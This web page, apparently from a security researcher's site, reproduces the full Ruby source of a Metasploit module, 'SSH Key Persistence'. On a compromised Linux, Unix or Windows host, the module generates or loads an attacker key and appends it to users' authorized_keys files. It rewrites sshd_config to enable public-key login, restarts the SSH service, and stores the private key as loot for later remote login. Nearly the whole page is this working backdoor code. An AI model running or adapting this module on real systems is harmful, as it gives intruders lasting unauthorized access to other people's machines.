Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

SSH Key Persistence
SSH Key Persistence

SSH Key Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source:

SSH Key Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'sshkey'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Unix
include Msf::Post::Windows::UserProfiles
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
include Msf::Exploit::Deprecated
moved_from 'post/linux/manage/sshkey_persistence'
moved_from 'post/windows/manage/sshkey_persistence'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SSH Key Persistence',
'Description' => %q{
This module will add an SSH key to a specified user (or all), to allow
remote login via SSH at any time. No payload is required for this module to work.

If an SSH key is not provided, a new 4096 bit RSA keypair will be generated.
The private key will be stored as loot for later use.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die <This email address is being protected from spambots. You need JavaScript enabled to view it.>', # linux
'Dean Welch <dean_welch[at]rapid7.com>' # windows
],
'Platform' => %w[linux unix win], # this must be defined despite the module not using a payload
'Arch' => ARCH_ALL, # doesn't matter because we don't use the payload
'SessionTypes' => [ 'meterpreter', 'shell' ],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1098_004_SSH_AUTHORIZED_KEYS],
['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_keymanagement'],
['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=gui&pivots=windows-10'],
['URL', 'https://stackoverflow.com/a/50502015']
],
'Targets' => [
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,

'Stance' => Msf::Exploit::Stance::Aggressive,
'Passive' => false,
'DefaultOptions' => {
'DisablePayloadHandler' => true, # since this is non-traditional persistence in that it isn't traditional event driven
'PAYLOAD' => 'payload/generic/custom' # dummy payload to avoid issues
},
'DisclosureDate' => '1995-07-01', # ssh first release
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [CONFIG_CHANGES]
}
)
)

register_options([
OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
OptPath.new('PUBKEY', [false, 'Path to Public Key File to use. (Default: Create a new one)' ]),
OptString.new('SSHD_CONFIG', [false, 'sshd_config file']),
OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for the target user', false ])
])

deregister_options('WritableDir')
deregister_options('PAYLOAD')
end

def check
return CheckCode::Safe('sshd_config file not found') unless file?(sshd_config_file)

enabled = pubkey_enabled?
if enabled.nil?
print_warning('Unable to determine if PubkeyAuthentication is enabled due to permission issues')
elsif enabled == false
return CheckCode::Safe("PubkeyAuthentication disabled in sshd_config and can't be enabled")
end

CheckCode::Appears('Likely vulnerable')
end

def sshd_config_file
return datastore['SSHD_CONFIG'] if !datastore['SSHD_CONFIG'].nil? && datastore['SSHD_CONFIG'].empty?

if session.platform == 'windows'
'C:\ProgramData\ssh\sshd_config'
else # assume *nix
'/etc/ssh/sshd_config'
end
end

def target_admin_user?
!datastore['USERNAME'].nil? && ['root', 'administrator', 'admin'].include?(datastore['USERNAME'].downcase)
end

def set_pub_key_file_permissions(file, username = nil)
if session.platform == 'windows'
return unless target_admin_user?

cmd_exec("icacls #{file} /inheritance:r")
cmd_exec("icacls #{file} /grant SYSTEM:(F)")
cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)")
else
chmod(file, 0o600)
unless username.nil?
cmd_exec("chown #{username}:#{username} #{file}")
end
end
end

def windows_service_owner
service_info = cmd_exec('sc qc sshd')
/SERVICE_START_NAME\s+: (?<owner>.+)/ =~ service_info
owner
end

def write_key(paths, auth_key_file, sep)
if datastore['PUBKEY'].nil?
key = SSHKey.generate(bits: 4096) # https://github.com/bensie/sshkey/issues/41
our_pub_key = key.ssh_public_key
private_key_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
print_good("Storing new private key as #{private_key_path}. Change the permissions to 600 before using it")
else
our_pub_key = ::File.read(datastore['PUBKEY'])
end

paths.each do |path|
path.chomp!
authorized_keys = "#{path}#{sep}#{auth_key_file}"
next unless file?(authorized_keys)

# make a backup of the authorized_keys file so we can add it to the restore rc
auth_keys_backup = read_file(authorized_keys)
loot_path = store_loot('authorized_keys', 'text/plain', session, auth_keys_backup, 'authorized_keys', 'SSH Authorized Keys File')
@clean_up_rc << "upload #{loot_path} #{authorized_keys}\n"
# start exploiting
print_status("Adding key to #{authorized_keys}")
append_file(authorized_keys, "\n#{our_pub_key}")
set_pub_key_file_permissions(authorized_keys)
print_good "Persistence installed! Call a shell using 'ssh -i #{private_key_path} <username>@#{session.session_host}'"
print_good 'use auxiliary/scanner/ssh/ssh_login'
print_good " run KEY_PATH=#{private_key_path} RHOSTS=#{session.session_host} USERNAME=<username>"
next unless datastore['PUBKEY'].nil?

path_array = path.split(sep)
path_array.pop
user = path_array.pop
credential_data = {
origin_type: :session,
session_id: session.db_record ? session.db_record.id : nil,
post_reference_name: refname,
private_type: :ssh_key,
private_data: key.private_key.to_s,
username: user,
workspace_id: myworkspace_id
}

create_credential(credential_data)
end
end

def pubkey_enabled?
print_status('Checking SSH Permissions')
if session.platform != 'windows' && !readable?(sshd_config_file)
return nil
end

sshd_config = read_file(sshd_config_file)
return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors

if /^#?\s*PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
# If the line exists, check if it's commented or explicitly "no"
if sshd_config =~ /^#\s*PubkeyAuthentication/ || pub_key == 'no'
print_error('Pubkey Authentication disabled')
enable_pub_key_auth(sshd_config)
if read_file(sshd_config_file) == sshd_config
print_bad('Unable to reconfigure sshd_config to enable PubkeyAuthentication')
return false
else
print_good('PubkeyAuthentication enabled successfully')
end
else
vprint_good("Pubkey set to #{pub_key}")
end
else
# No PubkeyAuthentication line found at all ? treat as disabled
print_error('Pubkey Authentication not found, assuming disabled')
enable_pub_key_auth(sshd_config)
end

# also check if the windows admin keys are enabled. See Testing Notes in markdown docs for more info
if session.platform == 'windows' && sshd_config !~ /^(\s*#)\s*(Match Group administrators|AuthorizedKeysFile)/ && !target_admin_user?
fail_with(Failure::BadConfig, "Admin AuthorizedKeysFile enabled, please 'set username admin' to use this module")
end

true
end

def enable_pub_key_auth(sshd_config)
vprint_status('Attempting to enable pubkey authentication in sshd_config')
loot_path = store_loot('sshd_config', 'text/plain', session, sshd_config, 'sshd_config', 'SSH Server Configuration')
@clean_up_rc << "upload #{loot_path} #{sshd_config_file}\n"
sshd_config = sshd_config.sub(/^\s*#?\s*PubkeyAuthentication\s+.*/i, 'PubkeyAuthentication yes')
write_file(sshd_config_file, sshd_config)
if session.platform == 'windows'
cmd_exec('net stop "OpenSSH SSH Server"')
cmd_exec('net start "OpenSSH SSH Server"')
else
cmd_exec('systemctl restart sshd || service sshd restart || service ssh restart')
end
end

def authorized_keys_file
print_status('Determining authorized_keys file')
if session.platform == 'windows' && target_admin_user?
return 'administrators_authorized_keys'
end
if session.platform != 'windows' && !readable?(sshd_config_file)
return nil
end

sshd_config = read_file(sshd_config_file)
return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors. Prefer this over readable? since windows isn't supported

%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
if auth_key_file
auth_key_file = auth_key_file.gsub('%h', '')
auth_key_file = auth_key_file.gsub('%%', '%')
if auth_key_file.start_with? '/'
auth_key_file = auth_key_file[1..]
end
else
auth_key_file = ".ssh#{sep}authorized_keys"
end
print_status("Authorized Keys File: #{auth_key_file}")
auth_key_file
end

def sep
if session.type == 'meterpreter'
return session.fs.file.separator
elsif session.platform == 'windows'
return '\\'
end

return '/'
end

def find_user_folders(auth_key_folder)
paths = []
# all users
if datastore['USERNAME'].nil?
if session.platform == 'windows'
paths = grab_user_profiles.map { |d| "#{d['ProfileDir']}#{sep}#{auth_key_folder}" }
else # assume *nix
paths = enum_user_directories.map { |d| "#{d}#{sep}#{auth_key_folder}" }
end
# admin user
elsif target_admin_user?
if session.platform == 'windows'
paths = ['C:\ProgramData\ssh']
else # assume *nix
paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]
end
# specific user
elsif session.platform == 'windows'
user_profile = grab_user_profiles.find { |profile| profile['UserName'] == datastore['USERNAME'] }
if user_profile
paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"]
else
print_error("User #{datastore['USERNAME']} not found")
end
else # assume *nix
user_profile = enum_user_directories.find { |profile| profile.split(sep)[1] == datastore['USERNAME'] }
if user_profile
paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"]
else
print_error("User #{datastore['USERNAME']} not found")
end
end
paths.map! { |p| p.delete("\r\n") }
paths
end

def install_persistence
auth_key_file = authorized_keys_file
unless auth_key_file
print_warning('Unable to determine authorized_keys file due to permission issues, using default .ssh/authorized_keys')
auth_key_file = ".ssh#{sep}authorized_keys"
end
# ironically windows default ssh config file has .ssh/authorized_keys so we can't trust the windows sep here
auth_key_folder = auth_key_file.split(%r{[/\\]+}).reject(&:empty?)[0...-1].join(sep)
auth_key_file = auth_key_file.split(%r{[/\\]+}).reject(&:empty?).last
home_folders = find_user_folders(auth_key_folder)
vprint_status("Found #{home_folders.length} potential user folders")

# double check all the folders and files exist that we need
home_folders = home_folders.select do |d|
authorized_keys_path = "#{d}#{sep}#{auth_key_file.split(sep).last}"
d_exists = directory?(d)

if !d_exists && !datastore['CREATESSHFOLDER']
print_warning("No .ssh folder found for #{d}, skipping...")
false
elsif !d_exists
if session.platform == 'windows'
session.fs.dir.mkdir(d)
else
cmd_exec("mkdir -m 700 -p #{d}")
cmd_exec("chown #{d.split(sep)[-2]}:#{d.split(sep)[-2]} #{d}")
end
@clean_up_rc << "rmdir #{d}\n"
end

f_exists = file?(authorized_keys_path)
if !f_exists && !datastore['CREATESSHFOLDER']
print_warning("No #{authorized_keys_path} file found, skipping...")
false
elsif !f_exists
unless write_file(authorized_keys_path, '')
print_warning("Unable to create #{authorized_keys_path}, skipping...")
false
end
if session.platform == 'windows'
set_pub_key_file_permissions(authorized_keys_path)
else
set_pub_key_file_permissions(authorized_keys_path, d.split(sep)[-2])
end
end
true
end

vprint_status("Found #{home_folders.length} confirmed user folders")

if home_folders.nil? || home_folders.empty?
fail_with(Failure::NotFound, "No users found with a #{auth_key_file} directory. Try setting CREATESSHFOLDER to true.")
end

write_key(home_folders, auth_key_file, sep)
end

end

Social Media Share